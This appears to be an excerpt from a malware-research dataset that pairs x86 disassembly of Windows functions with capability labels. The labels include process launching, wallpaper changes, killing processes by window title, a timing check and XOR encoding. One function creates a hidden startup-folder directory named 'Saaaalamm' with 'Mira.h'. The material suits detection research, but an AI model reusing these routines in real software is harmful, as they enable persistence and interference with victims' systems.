joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d4550
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4d4691
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x5384e8], 0
je 0x4d4641
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov edi, eax
mov edx, dword [0x5384dc]
mov eax, 0x4d46a8
call fcn.00404b50
test eax, eax
jle 0x4d45c9
push 0x4d46b4
push dword [0x5384dc]
push 0x4d46c0
push dword [0x5384e0]
lea eax, [ebp - 8]
mov edx, 4
call fcn.004048d4
mov edx, dword [ebp - 8]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x4d45f6
push 0x4d46cc
push dword [0x5384dc]
push 0x4d46a8
push dword [0x5384e0]
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.004048d4
mov edx, dword [ebp - 0xc]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 4]
mov ecx, 0x4d46dc
call fcn.00404860
mov edx, dword [ebp - 4]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x74]
push 1
mov eax, dword [0x5384e4]
call fcn.00404a0c
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.00404a0c
push eax
push 0x4d46e8
mov eax, esi
call fcn.0045cb18
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4d4676
push 1
mov eax, dword [0x5384e4]
call fcn.00404a0c
push eax
mov eax, dword [0x5384e0]
call fcn.00404a0c
push eax
mov eax, dword [0x5384dc]
call fcn.00404a0c
push eax
push 0x4d46e8
mov eax, esi
call fcn.0045cb18
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4698
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404580
ret
Function at 0x4dac7c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4dad93
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x52fed4], 0x808
lea edx, [ebp - 8]
mov eax, 0xfb
call fcn.004a829c
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
mov edx, 0x538194
mov ecx, 0x105
call fcn.004047c4
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 4]
pop ecx
call fcn.00404860
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404e18
mov eax, dword [ebp - 0x10]
mov dx, 0xffff
call fcn.0046c804
mov ebx, eax
test ebx, ebx
je 0x4dad5c
mov ecx, dword [esi + 4]
sub ecx, 0x20
lea edx, [esi + 0x20]
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.00403750
mov eax, 0xc8
call fcn.004d0bb8
push 1
push 0x4dada0
push 0x4dadac
push dword [ebp - 4]
push 0x4dadbc
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004048d4
mov eax, dword [ebp - 0x14]
call fcn.00404a0c
push eax
lea edx, [ebp - 0x18]
mov eax, 0x62
call fcn.004a829c
mov eax, dword [ebp - 0x18]
call fcn.00404a0c
push eax
push 0x4dadc0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
mov dword [0x52fed4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dad9a
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x10]
call fcn.00404c78
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404580
ret

Function at 0x4dcb20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4dcc82
push dword fs:[eax]
mov dword fs:[eax], esp
cmp word [0x5382a4], 0
jbe 0x4dcb95
mov ax, word [0x52ff0c]
cmp ax, word [0x5382a4]
jb 0x4dcb95
mov eax, dword [0x52fedc]
mov dword [0x52fefc], eax
mov eax, dword [0x52fee0]
mov dword [0x52ff00], eax
mov word [0x52ff0c], 0
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, ebx
call fcn.004e06ec
mov dl, 1
mov ax, 2
call fcn.004d0ea8
jmp 0x4dcc6c
cmp word [0x5382a6], 0
jbe 0x4dcc03
mov ax, word [0x52ff0c]
cmp ax, word [0x5382a6]
jb 0x4dcc03
mov eax, dword [0x52fedc]
mov dword [0x52fefc], eax
mov eax, dword [0x52fee0]
mov dword [0x52ff00], eax
mov word [0x52ff0c], 0
cmp dword [0x5382a8], 0
je 0x4dcc03
lea eax, [ebp - 4]
mov ecx, dword [0x5382a8]
mov edx, 0x4dcc98
call fcn.00404860
lea eax, [ebp - 4]
call fcn.004d1d04
push 1
lea eax, [ebp - 4]
call fcn.00404a64
push eax
call sub.kernel32.dll_WinExec
cmp word [0x5382ac], 0
jbe 0x4dcc6c
mov ax, word [0x52ff0c]
cmp ax, word [0x5382ac]
jb 0x4dcc6c
mov eax, dword [0x52fedc]
mov dword [0x52fefc], eax
mov eax, dword [0x52fee0]
mov dword [0x52ff00], eax
mov word [0x52ff0c], 0
cmp dword [0x5382b0], 0
je 0x4dcc6c
lea eax, [ebp - 4]
mov edx, dword [0x5382b0]
call fcn.004045f4
lea eax, [ebp - 4]
call fcn.004d1d04
push 1
lea eax, [ebp - 4]
call fcn.00404a64
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dcc89
lea eax, [ebp - 4]
call fcn.0040455c
ret
Function at 0x4dfc60
Capabilities:
Change the wallpaper

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4dfd83
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x52fed4], 0x821
mov dl, 1
mov eax, dword [0x422194]
call fcn.00428798
mov ebx, eax
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x2c]
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x20]
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x34]
push esi
mov eax, ebx
call fcn.00428d60
xor ecx, ecx
xor edx, edx
call fcn.00423bc4
lea edx, [ebp - 8]
mov eax, 0x105
call fcn.004a829c
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, dword [0x53829c]
call fcn.00404860
mov edx, dword [ebp - 4]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, ebx
call fcn.00403750
lea edx, [ebp - 0xc]
mov eax, 0x106
call fcn.004a829c
mov eax, dword [ebp - 0xc]
push eax
lea edx, [ebp - 0x10]
mov eax, 0xb0
call fcn.004a829c
mov eax, dword [ebp - 0x10]
mov ecx, 0x4dfd98
pop edx
call fcn.0046ae78
lea edx, [ebp - 0x14]
mov eax, 0x107
call fcn.004a829c
mov eax, dword [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
mov eax, 0xb0
call fcn.004a829c
mov eax, dword [ebp - 0x18]
mov ecx, 0x4dfda4
pop edx
call fcn.0046ae78
push 3
lea eax, [ebp - 4]
call fcn.00404a64
push eax
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
xor eax, eax
mov dword [0x52fed4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dfd8a
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404580
ret
Function at 0x4e2eac
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4e2eb4
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049fc
xor eax, eax
push ebp
push 0x4e30b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.00408d5c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x20]
call fcn.00404e18
mov eax, dword [0x5382f4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e3076
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov eax, dword [0x5382f4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10]
mov eax, 0x4e30d0
call fcn.00404b50
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, ebx
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x10]
call fcn.00404a6c
mov eax, dword [ebp - 0x1c]
call fcn.004093d0
mov dword [0x5385b0], eax
cmp dword [0x5385b0], 4
je 0x4e306a
lea eax, [ebp - 0x10]
mov ecx, ebx
mov edx, 1
call fcn.00404aac
mov eax, dword [ebp - 0x10]
mov edx, 0x4e30dc
call fcn.00404958
jne 0x4e2f83
mov byte [0x530608], 1
jmp 0x4e2f8a
mov byte [0x530608], 0
cmp byte [0x530608], 0
je 0x4e3027
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
call fcn.004045f4
mov ebx, 1
jmp 0x4e2fd3
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx - 1]
cmp al, 0x61
jb 0x4e2fbe
mov edx, dword [ebp - 0x18]
cmp al, 0x7a
ja 0x4e2fbe
inc ebx
jmp 0x4e2fd3
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x400
mov edx, ebx
mov eax, dword [ebp - 0x18]
call fcn.00404a6c
jmp 0x4e2fdf
mov eax, dword [ebp - 0x18]
call fcn.00404814
cmp ebx, eax
jl 0x4e2fa9
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov edx, 0x4e30f0
call fcn.00404860
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x14]
call fcn.00405ac4
mov ebx, eax
cmp dword [ebp - 0x14], 0
jne 0x4e3027
cmp ebx, 0x3e8
jbe 0x4e3027
call sub.kernel32.dll_GetTickCount
cmp ebx, eax
jae 0x4e3027
call sub.kernel32.dll_GetTickCount
sub eax, 0x30d40
cmp ebx, eax
jbe 0x4e3027
mov byte [ebp - 5], 1
jmp 0x4e3076
cmp byte [0x530608], 0
je 0x4e3043
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x10]
call fcn.00404958
jne 0x4e3043
mov byte [ebp - 5], 1
jmp 0x4e3076
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 0x10]
call fcn.00404e18
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
call fcn.0040514c
test eax, eax
jle 0x4e306a
mov byte [0x530608], 0
mov byte [ebp - 5], 1
jmp 0x4e3076
inc dword [ebp - 0xc]
dec dword [ebp - 0x2c]
jne 0x4e2f0d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e30bd
lea eax, [ebp - 0x30]
call fcn.0040455c
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x10]
call fcn.0040455c
lea eax, [ebp - 4]
call fcn.0040455c
ret
Function at 0x4e3624
Capabilities:
Enumerate gui resources
Get graphical window text
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004049fc
xor eax, eax
push ebp
push 0x4e3717
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov edi, eax
push edi
push 0x4e31ac
call sub.user32.dll_EnumWindows
mov ebx, dword [edi + 8]
dec ebx
test ebx, ebx
jl 0x4e36fa
inc ebx
xor esi, esi
push 0x7f
lea eax, [ebp - 0x8c]
push eax
mov edx, esi
mov eax, edi
call fcn.00416d5c
push eax
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x4e36f2
lea eax, [ebp - 4]
call fcn.00404a64
mov edx, eax
lea eax, [ebp - 0x8c]
call fcn.00409d20
test eax, eax
jne 0x4e36f2
lea eax, [ebp - 8]
push eax
mov edx, esi
mov eax, edi
call fcn.00416d5c
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor edx, edx
cmp edx, 0xffffffff
jne 0x4e36d6
cmp eax, 0xffffffff
je 0x4e36f2
cmp dword [ebp - 0xc], 0
je 0x4e36f2
push 0x31
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
inc esi
dec ebx
jne 0x4e3671
mov eax, edi
call fcn.00403750
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e371e
lea eax, [ebp - 4]
call fcn.0040455c
ret

Function at 0x4e3728
Capabilities:
Terminate process

Disassembly:
push ebx
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov eax, ebx
xor edx, edx
cmp edx, 0xffffffff
jne 0x4e3741
cmp eax, 0xffffffff
je 0x4e3755
test ebx, ebx
je 0x4e3755
push 0x31
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle_1
pop ebx
ret
Function at 0x4ec144
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffa4
mov ebp, edx
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov esi, eax
push esi
push 0x4ec12c
call sub.user32.dll_EnumWindows
mov edi, dword [esi + 8]
dec edi
test edi, edi
jl 0x4ec1c4
inc edi
xor ebx, ebx
mov edx, ebx
mov eax, esi
call fcn.00416d5c
cmp ebp, eax
je 0x4ec1c0
push 0x50
lea eax, [esp + 0xc]
push eax
mov edx, ebx
mov eax, esi
call fcn.00416d5c
push eax
call sub.user32.dll_GetClassNameA
test eax, eax
jle 0x4ec1c0
lea eax, [esp + 8]
mov edx, dword [esp]
call fcn.00409d20
test eax, eax
jne 0x4ec1c0
mov edx, ebx
mov eax, esi
call fcn.00416d5c
mov dword [esp + 4], eax
jmp 0x4ec1c4
inc ebx
dec edi
jne 0x4ec17a
mov eax, esi
call fcn.00403750
mov eax, dword [esp + 4]
add esp, 0x5c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ec240
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push ebx
xor edx, edx
mov dword [ebp - 0x88], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ec2c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x21
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x83]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4ec2ac
lea eax, [ebp - 0x83]
call fcn.00409c20
mov byte [ebp - 0x84], al
lea eax, [ebp - 0x88]
lea edx, [ebp - 0x84]
call fcn.004047b8
mov eax, dword [ebp - 0x88]
mov edx, ebx
call fcn.00408d5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ec2cc
lea eax, [ebp - 0x88]
call fcn.0040455c
ret
Function at 0x5d8ab4
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x5d87dc
mov ebx, ebx
add ebx, ebx
add edx, 0x3b4ea544
call fcn.005d8b07
sub edx, 0x74da9e86
mov edx, 0x9c55c4b6
mov ebx, 0x1ed531e2
xor dword [edi], esi
add edx, 0x57b8628b
sub edx, 0x965e3cdc
add edi, 2
add ebx, 0x7063f36e
cmp edi, eax
jl fcn.005d8ab4
sub ebx, 1
sub edx, 0xccde62db
ret
Function at 0x401400
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x10], 0x441030
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
lea eax, [edx + eax]
sar eax, 1
add eax, eax
sub edx, eax
mov eax, edx
add eax, 5
mov dword [esp], eax
call sym.bXhQPJVaO:P__cANVTX_OVaPrOZPV5_V_
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x43d000
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
leave
ret

Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym.ZP__R_VX__RVXaPZPuUXX__uRVTDJRP__
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sym.P_pTPtVPNXO_NVRP_lTP_tt_tZ9ONXO_xTP_tTPV
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.V_VJLc0v_728b2P_XVO_PVXtRPA_X_JL__bXh
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.___P_VT0aPPaPmP_XTttOaPUYPVXXXdVPW0
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.V_VJLc0v_728b2P_XVO_PVXtRPA_X_JL__bXh
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.___P_VT0aPPaPmP_XTttOaPUYPVXXXdVPW0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.ZPV5XBH_FVX_JL_cPYIV_vVTPbP4_T
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.HtOt8O__.pZPtO__h_zQb_D_X_BH__ZPV5VTNVcvRPV5
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.PZ___pXXdwT__PZV_PcVePVPt_UP_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.PZ___pXXdwT__PZV_PcVePVPt_UP_
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.8Pb_O_R_OVO_Q_O_DV__VO_OD2VOPXO1O_tcUO8FO_A
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.8Pb_O_R_OVO_Q_O_DV__VO_OD2VOPXO1O_tcUO8FO_A
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sym.VPNXO_NVRP_lTP_tt_tZ9ONXO_xTP_tTPV_paZt__1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, sym.X_T_8P____P_
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.NA9bRqP__XPRPXONVt_t_x_t_dVXt__X_T_NVdI
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym.ZP__R_VX__RVXaPZPuUXX__uRVTDJRP__
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call sym.P_pTPtVPNXO_NVRP_lTP_tt_tZ9ONXO_xTP_tTPV
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym.VPNXO_NVRP_lTP_tt_tZ9ONXO_xTP_tTPV_paZt__1
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.dll_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call sym.PWORO_Zd_b_VP_VVO_TW_OPcVZdIttt:PJ_Zd_j
call sym._P_
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._V5X__O_______V5X__O_______V5dX__T_OV_______V5_V
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call sym.___main
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym.X_OVaPrOZPV5_V_VJLc0v_728b2P_XVO_P
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call sym.NA9bRqP__XPRPXONVt_t_x_t_dVXt__X_T_NVdI
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret